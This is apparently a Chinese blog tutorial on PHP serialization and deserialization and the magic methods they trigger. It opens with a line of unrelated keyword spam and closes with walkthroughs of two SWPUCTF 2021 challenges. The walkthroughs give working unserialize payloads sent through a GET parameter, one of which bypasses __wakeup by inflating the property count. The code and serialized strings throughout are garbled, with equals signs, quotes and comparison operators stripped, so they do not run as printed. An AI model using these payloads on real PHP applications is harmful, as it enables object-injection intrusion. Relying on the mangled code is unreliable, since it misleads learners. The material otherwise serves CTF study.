怎么做付费网站,手机短视频制作软件app,网站开发工具推荐,图书馆登录系统网站建设代码目录
一、PHP序列化#xff1a;serialize()
1.对象序列化
2.pop链序列化
3.数组序列化
二、反序列化#xff1a;unserialize()
三、魔术方法
四、NSSCTF相关简单题目
1.[SWPUCTF 2021 新生赛]ez_unserialize
2.[SWPUCTF 2021 新生赛]no_wakeup 学习参考#xff1…目录
一、PHP序列化serialize()
1.对象序列化
2.pop链序列化
3.数组序列化
二、反序列化unserialize()
三、魔术方法
四、NSSCTF相关简单题目
1.[SWPUCTF 2021 新生赛]ez_unserialize
2.[SWPUCTF 2021 新生赛]no_wakeup 学习参考 PHP反序列化新手入门学习总结_php反序列化 php反序列化漏洞 一、PHP序列化serialize()
序列化是将变量或对象转换成字符串的过程
用于存储或传递 PHP 的值的过程中同时不丢失其类型和结构。
php序列化的字母标识a - 数组 (Array): 一种数据结构可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型只有两个可能的值true 或 false。
d - 双精度浮点数 (Double): 一种数据类型用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用而不是对象本身。
s - 字符串 (String): 一种数据类型用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中类是一种蓝图或模板用于创建对象。
N - 空 (Null): 在许多编程语言中null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型用于存储包含各种字符编码的文本数据。
各类型值的serialize序列化空字符 null - N;
整型 123 - i:123;
浮点型 1.5 - d:1.5;
boolean型 true - b:1;
boolean型 fal - b:0;
字符串 “haha” - s:4:haha;1.对象序列化
?php
class test //定义一个test类
{public $test1ll; //public是访问修饰符protected $test2hh;private $test3nn;
}
$anew test();
echo serialize($a);
?//输出 O:4:test:3:{s:5:test1;s:2:ll;s:8: * test2;s:2:hh;s:11: test test3;s:2:nn;}Public(公有):被序列化时属性值为属性名
Protected(受保护):被序列化时属性值为\x00*\x00属性名
Private(私有):被序列化时属性值为\x00类名\x00属性名
//大写字母O表示对象4是类名长度test为类名表示该类有3个成员属性
//类中变量的个数3{类型长度:“值”类型:长度:“值”…以此类推}
protected 和private输出时有不可打印字符如下图。 故类在写payload时通常会使用urlencode()函数编码。
2.pop链序列化
?php
class test1
{public $all;public $btrue;public $c123;
}
class test2
{public $d;public $hhhh;
}$mnew test1();
$nnew test2();
$n-f$m;
echo serialize($n);
?//输出m的值嵌套在n中
O:5:test2:3:{s:1:d;N;s:1:h;s:3:hhh;s:1:f;O:5:test1:3:{s:1:a;s:2:ll;s:1:b;b:1;s:1:c;i:123;}}
3.数组序列化
?php
$aarray(ll,123,true);
echo serialize($a);
?//输出
a:3:{i:0;s:2:ll;i:1;i:123;i:2;b:1;}
//a表示这是一个数组的序列化成员属性名为数组的下标格式 {i:数组下标;类型:长度:“值”; 以此类推}
二、反序列化unserialize()
反序列化是将字符串转换成变量或对象的过程
反序列化的结果不能用echo函数只能用print_r()var_dump()
?php
class test
{public $test1ll;public $test2123;
}$anew test();
$bserialize($a);
print_r(unserialize($b));$cO:4:test:2:{s:1:a;s:3:666;s:1:b;i:6666;};
var_dump(unserialize($c));
?
//输出
test Object
([test1] ll[test2] 123
)object(test)#2 (4) {[test1]string(2) ll[test2]int(123)[a]string(3) 666[b]int(6666)
} 三、魔术方法
魔术方法是一个预定好的、在特定情况下自动触发的行为方法
__construct() //类的构造函数创建对象时触发
__destruct() //类的析构函数对象被销毁时触发
__call() //调用对象不可访问、不存在的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__set() //在给不可访问、不存在的对象成员属性赋值时触发
__isset() //当对不可访问属性调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //把对象当初函数调用时触发
__sleep() //执行serialize()时先会调用这个方法
__wakeup() //执行unserialize()时先会调用这个方法
__toString() //把对象当成字符串调用时触发
__clone() //使用clone关键字拷贝完一个对象后触发
... ...
1.对象被创建时触发__construct()方法对象使用完被销毁时触发__destruct()方法 2.对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup() 3.echo $a 把对象当成字符串输出触发了__toString() $a() 把对象当成函数执行触发了__invoke() 4.$a-h()调用了不存在的方法触发了__call()方法
四、NSSCTF相关简单题目
1.[SWPUCTF 2021 新生赛]ez_unserialize
打开环境只有一个表情包 查看源代码发现Disallow禁止抓取使用robots.txt协议查看发现/cl45s.php目录 访问得到环境代码
?php
error_reporting(0);
show_source(cl45s.php); // 显示文件 cl45s.php 的源代码class wllm { // 定义一个名为 wllm 的类 public $admin; // 公共属性 adminpublic $passwd; // 公共属性 passwdpublic function __construct() { // 构造函数用于初始化对象 $this-admin user; // 初始化 admin 为 user$this-passwd 123456; // 初始化 passwd 为 123456}public function __destruct() { // 析构函数用于在对象不再被引用时执行清理操作// 检查 admin 是否为 admin 并且 passwd 是否为 ctfif ($this-admin admin $this-passwd ctf) { include(flag.php); echo $flag;} else { echo $this-admin; // 打印 admin 的值 echo $this-passwd; // 打印 passwd 的值 echo Just a bit more!; // 打印字符串 Just a bit more!}}
}
$p $_GET[p]; //GET传参p
unserialize($p); //反序列化p?
adminadminpasswdctf时得到flag序列化p。
PHP 在线工具 | 菜鸟工具 构造payload,得到flag
?pO:4:wllm:2:{s:5:admin;s:5:admin;s:6:passwd;s:3:ctf;} 2.[SWPUCTF 2021 新生赛]no_wakeup
打开环境代码审计
?php// 设置HTTP头信息指定内容的类型和字符编码
header(Content-type:text/html;charsetutf-8);// 关闭错误报告不显示任何错误信息
error_reporting(0);// 显示文件class.php的源代码
show_source(class.php);// 定义一个名为HaHaHa的类
class HaHaHa{// 两个公共属性admin和passwdpublic $admin;public $passwd;// 构造函数当创建新对象时自动调用public function __construct(){// 初始化admin为userpasswd为123456$this-admin user;$this-passwd 123456;}// __wakeup魔术方法当对象被反序列化时自动调用public function __wakeup(){// 将passwd加密为sha1哈希值$this-passwd sha1($this-passwd);}// __destruct魔术方法当对象被销毁时自动调用public function __destruct(){// 检查admin是否等于admin且passwd是否等于wllmif($this-admin admin $this-passwd wllm){// 如果条件满足引入flag.php文件并输出变量$flag的值include(flag.php);echo $flag;}else{// 如果条件不满足输出经过sha1加密的passwd值和No wake up字符串echo $this-passwd;echo No wake up;}}
}// 通过GET请求获取参数p的值并将其作为反序列化的输入
$Letmeseesee $_GET[p];
unserialize($Letmeseesee);?
adminadminpasswdwllm得到flag序列化p
?php
class HaHaHa{public $adminadmin;public $passwdwllm;
}
$pnew HaHaHa();
echo serialize($p);
? 但其中多了一个__wakeup的魔术方法 __wakeup函数漏洞原理当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行 故构造一个大于2对象的payload得到flag
?pO:6:HaHaHa:3:{s:5:admin;s:5:admin;s:6:passwd;s:4:wllm;}